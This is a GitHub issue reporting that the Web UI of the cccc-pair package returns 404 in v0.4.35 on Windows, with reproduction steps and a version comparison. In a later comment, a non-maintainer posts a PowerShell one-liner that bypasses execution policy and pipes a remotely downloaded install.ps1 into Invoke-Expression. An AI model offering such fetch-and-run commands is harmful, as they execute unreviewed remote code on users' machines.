cccc icon indicating copy to clipboard operation
cccc copied to clipboard

v0.4.35 PyPI package: Web UI unavailable on Windows (/ui/ returns 404)

Open shall1569 opened this issue 3 months ago • 3 comments

Web UI regression in v0.4.35 — /ui/ returns 404

There appears to be a Web UI regression in cccc-pair==0.4.35 when installed from PyPI on Windows.

With v0.4.35, CCCC starts successfully and the Web/API control plane is available, but the Web UI at /ui/ returns HTTP 404.

Downgrading the exact same environment to cccc-pair==0.4.34 immediately restores the Web UI.

Environment

  • OS: Windows x86-64
  • Python: 3.13.15
  • Package: cccc-pair
  • Working version: 0.4.34
  • Broken version: 0.4.35
  • Implementation: Python
  • Browser: Microsoft Edge

Python executable:

C:\Users\sam\AppData\Local\Programs\Python\Python313\python.exe

Reproduction

1. Install v0.4.35

py -m pip install -U "cccc-pair==0.4.35"

2. Start CCCC

cccc

CCCC starts successfully:

[cccc] Starting daemon...
[cccc] Daemon started
[cccc] Implementation: python
[cccc] Starting web server...
[cccc]   Local:   http://127.0.0.1:8848

3. Verify the version

cccc version

Returns:

0.4.35

cccc status also reports the Python implementation and daemon as running.

The API/control plane is responding correctly.

4. Open the Web UI

Navigate to:

http://127.0.0.1:8848/ui/

Instead of the Web UI, the server returns:

{
  "ok": false,
  "error": {
    "code": "not_found",
    "message": "Not Found",
    "details": {}
  }
}

The root endpoint:

http://127.0.0.1:8848/

returns:

This is a minimal control-plane port. UI will live under /ui later.

Try /api/v1/ping and /api/v1/groups.

A/B Test With v0.4.34

I then stopped CCCC and installed the previous version:

py -m pip install --force-reinstall "cccc-pair==0.4.34"

After starting CCCC again:

cccc

the Web UI immediately became available at:

http://127.0.0.1:8848/ui/

No changes were made to the CCCC home/data directory:

C:\Users\sam\.cccc

The existing groups and agents remained intact.

The result is consistent:

v0.4.34
    Daemon/API: Working
    Web UI:     Working

v0.4.35
    Daemon/API: Working
    Web UI:     HTTP 404

Additional Investigation

I inspected the installed cccc-pair==0.4.35 package.

The Python Web backend and routes are present, including:

cccc\ports\web\app.py
cccc\ports\web\main.py
cccc\ports\web\middleware.py
cccc\ports\web\routes\*.py

However, the installed package does not appear to contain the Web UI frontend bundle.

A recursive search of the installed cccc package for:

index.html
manifest.json
*.js
*.css
static
dist
assets

found no frontend bundle.

The only JavaScript file found was:

cccc\resources\code_mode_runtime.js

This suggests that the Python Web/API backend is present in the 0.4.35 PyPI package, but the bundled frontend assets may be missing or are not being mounted correctly.

Expected Behaviour

Installing:

py -m pip install -U "cccc-pair==0.4.35"

and running:

cccc

should provide the Web UI as in previous releases.

Specifically:

http://127.0.0.1:8848/ui/

should serve the CCCC Web UI.

Actual Behaviour

With the PyPI installation of v0.4.35:

http://127.0.0.1:8848/ui/

returns:

HTTP 404

while the daemon and API continue to function normally.

Rolling back to v0.4.34 immediately restores the Web UI.

Possible Cause

This looks like a packaging/build issue affecting the v0.4.35 PyPI distribution, where the Web frontend assets may not have been included in the published package.

I have not determined whether the root cause is the frontend build, package manifest, wheel generation, or route configuration.

Could you confirm whether this is expected in v0.4.35, or whether the PyPI package may have been published without the bundled Web UI assets?

Thanks.

shall1569 avatar Aug 28 '26 09:08 shall1569

Thanks for your feedback!👍 We are investigating this issue.

ChesterRa avatar Aug 28 '26 09:08 ChesterRa

bro,You can execute powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; Invoke-RestMethod 'https://chesterra.github.io/cccc/install.ps1' | Invoke-Expression"

We look forward to your reply

waterbang avatar Aug 28 '26 09:08 waterbang

bro,You can execute powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; Invoke-RestMethod 'https://chesterra.github.io/cccc/install.ps1' | Invoke-Expression"

We look forward to your reply

Spot on! Appreciate the quick response. Resolved.

shall1569 avatar Aug 28 '26 09:08 shall1569